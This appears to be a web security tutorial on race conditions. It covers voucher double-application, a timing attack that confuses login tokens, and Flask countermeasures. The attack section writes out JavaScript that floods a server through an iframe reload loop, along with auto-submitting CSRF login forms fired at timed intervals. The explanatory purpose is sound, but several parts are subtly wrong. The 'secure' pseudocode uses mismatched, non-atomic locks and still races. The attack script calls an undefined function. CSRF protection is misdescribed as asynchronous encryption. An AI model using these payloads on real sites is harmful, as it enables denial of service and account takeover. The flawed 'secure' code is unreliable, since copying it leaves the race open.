Skip to main content

Overview

A race condition occurs when two or more threads can access shared data and try to change it at the same time. Because the thread scheduling algorithm can swap between threads at any time, you need to consider the order in which the threads will attempt to access the shared data. The result of the change in data is dependent on the thread scheduling algorithm - both threads are “racing” to access/change the data.
Race conditions are very hard to penetrate test manually. Usually, a software engineer will use a pen-testing application designed to send repeat requests strategically timed apart.

Shopping Cart Theft Attack

Exploiting race conditions for ‘Shopping cart theft’ is common when inadequate session management has been implemented. The threat actor will send quick succession POST requests with a discount voucher. Because the session management has been poorly designed, the voucher can be applied to the shopping cart multiple times, and goods can be purchased with unintended discounts.

Vulnerable Algorithm

Consider the following algorithm run in parallel threads for a shopping cart discount voucher system:
ProcessorThread 1Thread 2
01BEGIN apply_voucher(v, cart)
02BEGIN apply_voucher(v, cart)
03IF GET voucher_applied() = TRUE
04RETURN
05ENDIF
06IF GET voucher_applied() = TRUE
07RETURN
08ENDIF
09apply_disc(calc_disc(v), cart)
10SET voucher_applied(TRUE)
11apply_disc(calc_disc(v), cart)
12SET voucher_applied(TRUE)
13RETURN render_front_end()
14END apply_voucher
15RETURN render_front_end()
16END apply_voucher
The vulnerability is easily exploited because of the processing time between the GET (or check) and the SET, which allows the discount to be applied multiple times.

Secure Implementation

BEGIN apply_voucher(v_id, cart, sessionID)
    WHILE GET voucher_process_lock(sessionID) is TRUE
        do nothing
    ENDWHILE
    SET voucher_lock(sessionID, TRUE)
    GET voucher_applied()
    apply_disc(calc_disc(v_id), cart)
    SET disc_applied(True)
    SET voucher_process_lock(sessionID, FALSE)
    return render_front_end(sessionID)
END apply_voucher

Timing Attack (Advanced)

This complex side channel attack vector involves both race conditions and broken authentication/session management vulnerabilities. Unmanaged race conditions and poor session management allow the successful return token for a public user to be confused with the unsuccessful return token for an administrator user, granting the threat actor authentication with escalated user authorization.
1

DoS Attack

Perform a reverse DNS search and place the infrastructure under load through a DoS attack. Send repeated GET requests at short intervals for all sites hosted on the webserver.
<iframe src="http://127.0.0.1:5000" id="myFrame"></iframe>
<script>
function myFunction() {
  document.getElementById('myFrame').contentWindow.location.reload();
  setTimeout(myFunction, 1); //1 = 1 millisecond
}
myFunction();
</script>
2

Timing Exploitation

Run a script that calls a condition at timed intervals which are adjusted to phish for the correct timing of the exploit.
<form id="hack" target="csrf-frame" action="http://localhost:5000/" method="POST" autocomplete="off">
    <input name="username" value="administrator">
    <input name="password" value="???">
</form>
<form id="hack2" target="csrf-frame" action="http://localhost:5000/" method="POST" autocomplete="off">
    <input name="username" value="joe.normal">
    <input name="password" value="password123">
</form>
<script>
function submitHack() {
    document.getElementById("hack").submit();
    setTimeout(submitHack, 100); //Hack is submitted every 0.1 seconds
}
function timeHack2() {
    let time = Math.floor(Math.random() * 100);
    setTimeout(submitHack2, time); //Hack is submitted randomly every 0 to 0.1 seconds 
    setTimeout(timeHack, time+1); // reschedule hack attempt
}
function submitHack2() {
    document.getElementById("hack2").submit();
}
submitHack();
timeHack2();
</script>

Countermeasures

1. Thread-Safe Design

Consider multithreading in any shared resource process, including:
  • Discount applications
  • Login processes
  • Session ID creation
  • Payment processing
  • Inventory management

2. Implement Proper Locking

from flask import Flask, session
import threading

app = Flask(__name__)
locks = {}

@app.route('/apply-voucher', methods=['POST'])
def apply_voucher():
    session_id = session.get('session_id')
    
    # Get or create lock for this session
    if session_id not in locks:
        locks[session_id] = threading.Lock()
    
    # Minimize processing time between GET and SET
    with locks[session_id]:
        if session.get('voucher_applied', False):
            return {'error': 'Voucher already applied'}, 400
        
        # Apply discount
        session['voucher_applied'] = True
        return {'success': True}

3. Secure Session Management

Implement unique session IDs which cannot be brute forced or calculated:
from flask import Flask
from flask_session import Session

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SECRET_KEY'] = 'your-secret-key-here'
Session(app)

4. CSRF Protection

Encrypt all form inputs asynchronously:
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

5. Rate Limiting

Implement rate limiting so a session can only make 1 request per 5 seconds:
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/login', methods=['POST'])
@limiter.limit("1 per 5 seconds")
def login():
    # Login logic
    pass

Best Practices

  1. Identify Shared Resources: Map all shared resources (database records, session data, files)
  2. Implement Proper Locking: Use thread-safe locks with minimal processing time between check and set
  3. Use Atomic Operations: Leverage database transactions and atomic operations where possible
  4. Add Rate Limiting: Prevent rapid-fire requests that exploit timing windows
  5. Secure Sessions: Use cryptographically secure session IDs
  6. Monitor Unusual Patterns: Watch for repeated requests from the same session/IP
  7. Test Under Load: Conduct concurrent testing to identify race conditions
  • Broken Authentication and Session Management
  • Cross-Site Request Forgery (CSRF)
  • Side-Channel Timing Attacks
  • DoS/DDoS Attacks

References

Build docs developers (and LLMs) love